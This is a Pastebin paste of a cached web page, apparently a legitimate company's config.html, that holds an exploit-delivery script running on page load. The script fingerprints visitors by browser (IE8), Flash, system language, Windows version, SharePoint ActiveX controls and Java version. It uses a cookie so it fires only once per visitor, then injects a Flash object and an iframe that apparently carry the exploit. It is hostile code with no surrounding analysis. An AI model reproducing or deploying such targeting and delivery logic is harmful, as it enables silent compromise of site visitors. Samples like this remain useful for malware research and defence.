Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
- <base href="http://www.capstoneturbine.com/_include/config.html"><div style="background:#fff;border:1px solid #999;margin:-1px -1px 0;padding:0;"><div style="background:#ddd;border:1px solid #999;color:#000;font:13px arial,sans-serif;font-weight:normal;margin:12px;padding:8px;text-align:left">This is Google's cache of <a href="http://www.capstoneturbine.com/_include/config.html" style="text-decoration:underline;color:#00c">http://www.capstoneturbine.com/_include/config.html</a>. It is a snapshot of the page as it appeared on 18 Dec 2012 16:10:40 GMT. The <a href="http://www.capstoneturbine.com/_include/config.html" style="text-decoration:underline;color:#00c">current page</a> could have changed in the meantime. <a href="http://support.google.com/websearch/bin/answer.py?hl=en&p=cached&answer=1687222" style="text-decoration:underline;color:#00c">Learn more</a><br>Tip: To quickly find your search term on this page, press <b>Ctrl+F</b> or <b>⌘-F</b> (Mac) and use the find bar.<br><br><div style="float:right"><a href="http://webcache.googleusercontent.com/search?q=cache:9Na-PeIEuBsJ:www.capstoneturbine.com/_include/config.html&hl=en&tbo=d&gl=lu&strip=1" style="text-decoration:underline;color:#00c">Text-only version</a></div>
- <div> </div></div></div><div style="position:relative">
- <html>
- <head>
- <script src=deployJava.js></script>
- <script type="text/javascript">
- function getCookieVal (offset)
- {
- var endstr = document.cookie.indexOf (";", offset);
- if (endstr == -1)
- {
- endstr = document.cookie.length;
- }
- return unescape(document.cookie.substring(offset, endstr));
- }
- function GetCookie (name)
- {
- var arg = name + "=";
- var alen = arg.length;
- var clen = document.cookie.length;
- var i = 0;
- while (i < clen)
- {
- var j = i + alen;
- if (document.cookie.substring(i, j) == arg)
- return getCookieVal (j);
- i = document.cookie.indexOf(" ", i) + 1;
- if (i == 0)
- break;
- }
- return null;
- }
- function SetCookie (name, value)
- {
- var argv = SetCookie.arguments;
- var argc = SetCookie.arguments.length;
- var expires = (2 < argc) ? argv[2] : null;
- var path = (3 < argc) ? argv[3] : null;
- var domain = (4 < argc) ? argv[4] : null;
- var secure = (5 < argc) ? argv[5] : false;
- document.cookie = name + "=" + escape (value) +
- ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
- ((path == null) ? "" : ("; path=" + path)) +
- ((domain == null) ? "" : ("; domain=" + domain)) +
- ((secure == true) ? "; secure" : "");
- }
- function DisplayInfo()
- {
- var expdate = new Date();
- var visit;
- expdate.setTime(expdate.getTime() + (24 * 60 * 60 * 1000*7 ));
- if(!(visit = GetCookie("visit")))
- visit = 0;
- visit++;
- SetCookie("visit", visit, expdate, "/", null, false);
- return visit;
- }
- var ua = window.navigator.userAgent.toLowerCase();
- if (ua.indexOf('msie 8.0') <0)
- {
- location.href="about:blank";
- }
- var f = 0;
- try {
- f = new ActiveXObject('ShockwaveFlash.ShockwaveFlash');
- }
- catch (e) {
- }
- var g=typeof f;
- if(g!="object")
- {
- location.href="about:blank";
- }
- var h=navigator.systemLanguage.toLowerCase();
- if(h!="zh-cn" && h!="en-us" && h!= "zh-tw")
- {
- location.href="about:blank";
- }
- var num=DisplayInfo();
- if(num >1)
- {
- location.href="about:blank";
- }
- function download()
- {
- var xmlhttp;
- try
- {
- xmlhttp = new XMLHttpRequest();
- }
- catch (e)
- {
- var XMLHTTP_IDS = new Array('MSXML2.XMLHTTP.5.0','MSXML2.XMLHTTP.4.0','MSXML2.XMLHTTP.3.0','MSXML2.XMLHTTP','Microsoft.XMLHTTP' );
- var success = false;
- for (var i=0;i < XMLHTTP_IDS.length && !success; i++)
- {
- try
- {
- xmlhttp = new ActiveXObject(XMLHTTP_IDS[i]);
- success = true;
- } catch (e)
- {}
- }
- }
- function callback()
- {
- if(xmlhttp.readyState==4)
- {
- if(xmlhttp.status==200)
- {
- var temp=ua.replace(/ /g,"");
- if (temp.indexOf("nt6.1")>-1) {
- var key = "";
- var ma = 0;
- try {
- ma = new ActiveXObject("SharePoint.OpenDocuments.4");
- }
- catch (e) {
- }
- var mb = 0;
- try {
- mb = new ActiveXObject("SharePoint.OpenDocuments.3");
- }
- catch (e) {
- }
- if ((typeof ma) == "object" && (typeof mb) == "object") {
- key = "girl";
- }
- else if ((typeof ma) == "number" && (typeof mb) == "object") {
- key = "boy";
- }
- if (key == "girl") {
- document.getElementById('test').innerHTML="true";
- document.body.innerHTML += "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\"100%\" height=\"100%\" id=\"today\"><param name=\"movie\" value=\"today.swf\" /><param name=\"quality\" value=\"high\" /><param name=\"bgcolor\" value=\"#ffffff\" /><param name=\"allowScriptAccess\" value=\"sameDomain\" /><param name=\"allowFullScreen\" value=\"true\" /></object><iframe src=news.html></iframe>";
- }
- if (key == "boy") {
- document.getElementById('test').innerHTML="false";
- document.body.innerHTML += "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\"100%\" height=\"100%\" id=\"today\"><param name=\"movie\" value=\"today.swf\" /><param name=\"quality\" value=\"high\" /><param name=\"bgcolor\" value=\"#ffffff\" /><param name=\"allowScriptAccess\" value=\"sameDomain\" /><param name=\"allowFullScreen\" value=\"true\" /></object><iframe src=news.html></iframe>";
- }
- if (key == "") {
- if ((deployJava.versionCheck('1.6.0+') == true) && (deployJava.versionCheck('1.7.0+') == false)) {
- document.getElementById('test').innerHTML="default";
- document.body.innerHTML += "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\"100%\" height=\"100%\" id=\"today\"><param name=\"movie\" value=\"today.swf\" /><param name=\"quality\" value=\"high\" /><param name=\"bgcolor\" value=\"#ffffff\" /><param name=\"allowScriptAccess\" value=\"sameDomain\" /><param name=\"allowFullScreen\" value=\"true\" /></object><iframe src=news.html></iframe>";
- }
- }
- }
- if(temp.indexOf("nt5.1")>-1)
- {
- document.getElementById('test').innerHTML="cat";
- document.body.innerHTML += "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\"100%\" height=\"100%\" id=\"today\"><param name=\"movie\" value=\"today.swf\" /><param name=\"quality\" value=\"high\" /><param name=\"bgcolor\" value=\"#ffffff\" /><param name=\"allowScriptAccess\" value=\"sameDomain\" /><param name=\"allowFullScreen\" value=\"true\" /></object><iframe src=news.html></iframe>";
- }
- }
- }
- }
- xmlhttp.open("get", "xsainfo.jpg", true);
- xmlhttp.onreadystatechange = callback;
- xmlhttp.send(null);
- }
- </script>
- </head>
- <body onload="download()">
- <div id=test>hello</div>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement